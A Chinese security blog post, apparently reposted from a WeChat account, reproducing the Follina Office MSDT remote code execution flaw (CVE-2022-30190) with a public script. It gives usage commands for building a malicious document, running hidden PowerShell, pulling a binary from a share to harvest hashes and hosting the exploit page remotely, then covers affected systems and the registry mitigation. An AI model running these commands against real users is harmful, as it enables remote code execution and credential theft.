Microsoft Office 远程代码执行

admin 2025年1月17日13:58:24评论53 views字数 4425阅读14分45秒阅读模式
Microsoft Office 远程代码执行

点击上方“蓝字”,关注更多精彩

Microsoft Office 远程代码执行

前言

昨天大哥扔了个MS office 0day(CVE-2022-30190)的截图到群里,晚上就复现了一下 ,随即有了下文 。

攻击者可利用恶意Office文件中的远程模板功能从远程网络服务器获取恶意HTML文件,通过微软支持诊断工具(Microsoft Support Diagnostic Tool,MSDT)执行恶意PowerShell代码,这里的利用姿势跟CVE-2021-40444是一样的,但是后面的利用链不一样。因为之前手动复现过CVE-2021-40444,所以这里复现起来没什么难度。

复现

Github上已经有了现成脚本,手里也没有现成的样本,就用他这个了。

地址:https://github.com/chvancooten/follina.py

使用方法

# Execute a local binary
python .follina.py -m binary -b windowssystem32calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .follina.py -m binary -b \localhostc$windowssystem32calc.exe

# Execute an arbitrary powershell command
python .follina.py -m command -c "Start-Process c:windowssystem32cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:userspublicowned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .follina.py -m binary -b windowssystem32calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .follina.py -m binary -b windowssystem32calc.exe -H 127.0.0.1 -P 8080

首先第一种:

如果是本地测试的话,直接运行

python .follina.py -m binary -b windowssystem32calc.exe

然后会在当前目录下生成一个clickme.docx,然后打开http服务,直接双击clickme.docx就能弹计算器了。

Microsoft Office 远程代码执行

第二种如果是想加载远程服务器上的html的话,再后面加个-u参数就行。

python .follina.py -m binary -b windowssystem32calc.exe -u ip:端口

Microsoft Office 远程代码执行

然后把www文件夹里的exploit.html复制到vps上,开一个http服务就行了。

Microsoft Office 远程代码执行

简单分析

我特地翻了一下 CVE-2021-40444 的样本和CVE-2022-30190生成的docx进行了一下对比。

CVE-2021-40444 的样本:

Microsoft Office 远程代码执行

CVE-2022-30190 由poc生成的:

Microsoft Office 远程代码执行

由此可知,他们的都是 Microsoft MSHTML的漏洞。

MSHTML(又称Trident)是微软Windows操作系统Internet Explorer(IE)浏览器的排版组件。软件开发人员使用该组件,可以在应用中快速实现网页浏览功能。MSHTML除应用于IE浏览器、IE内核浏览器外,还在Office的Word、Excel和PowerPoint文档中用来呈现Web托管内容。

当目标用户点击文档后,MSHTML会请求访问远程html页面 ,从而加载恶意的JavaScript。

Microsoft Office 远程代码执行

接着队他生成的exploit.html进行了分析,在这里调用了PowerShell,他首先将执行的命令每两个字符直接加了个空字节,然后进行了base64编码。这其实就是PowerShell-EncodeCommand 命令执行,具体都到这里了,怎么上线不用多说了吧。

Microsoft Office 远程代码执行

影响范围


Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Coreinstallation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Coreinstallation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Coreinstallation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server 2022 Azure Edition Core Hotpatch

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

修复方案

目前微软官方暂未发布此漏洞的补丁,但微软安全响应中心已经发布了此漏洞的指南,受影响用户可以应用以下临时缓解措施:

禁用MSDT URL协议

禁用 MSDT URL 协议可防止故障排除程序作为链接启动,包括整个操作系统的链接。仍然可以使用“获取帮助”应用程序和系统设置中的其他或附加故障排除程序来访问故障排除程序。请按照以下步骤禁用:

1.以管理员身份运行命令提示符。

2.要备份注册表项,请执行命令“reg exportHKEY_CLASSES_ROOTms-msdt filename“。

3.执行命令“reg delete HKEY_CLASSES_ROOTms-msdt /f”。

撤销

1.以管理员身份运行命令提示符。

2.要恢复备份注册表项,请执行命令“reg import filename”。

此外,Microsoft Defender 防病毒软件使用检测版本1.367.719.0或更高版本为可能的漏洞利用提供检测和保护;Microsoft Defender for Endpoint 为客户提供检测和警报;Microsoft365 Defender 门户中的以下警报标题可以指示网络上的威胁活动:

  • Office 应用程序的可疑行为

  • Msdt.exe 的可疑行为

注意:研究人员将检测到在野利用的0 day漏洞标识为Microsoft Office 代码执行0 day漏洞(称为“Follina”),该漏洞影响了Office 2016 和 Office 2021等。本通告主要参考微软官方公告Microsoft Windows支持诊断工具 (MSDT) 任意代码执行漏洞。

参考

https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

【漏洞通告】Microsoft MSDT任意代码执行漏洞(CVE-2022-30190) | CN-SEC 中文网

https://www.wangt.cc/2020/06/%E7%BB%95%E8%BF%87powershell%E6%89%A7%E8%A1%8C%E7%AD%96%E7%95%A5%E6%96%B9%E6%B3%95/

Microsoft Office 远程代码执行

END

Microsoft Office 远程代码执行
Microsoft Office 远程代码执行

看完记得点赞,关注哟,爱您!

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!
关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!
在看你就赞赞我!
Microsoft Office 远程代码执行
Microsoft Office 远程代码执行
Microsoft Office 远程代码执行
Microsoft Office 远程代码执行
扫码关注我们
Microsoft Office 远程代码执行

扫码领hacker资料,常用工具,以及各种福利

Microsoft Office 远程代码执行

转载是一种动力 分享是一种美德

原文始发于微信公众号(Gamma实验室):Microsoft Office 远程代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月17日13:58:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Microsoft Office 远程代码执行https://cn-sec.com/archives/1078697.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息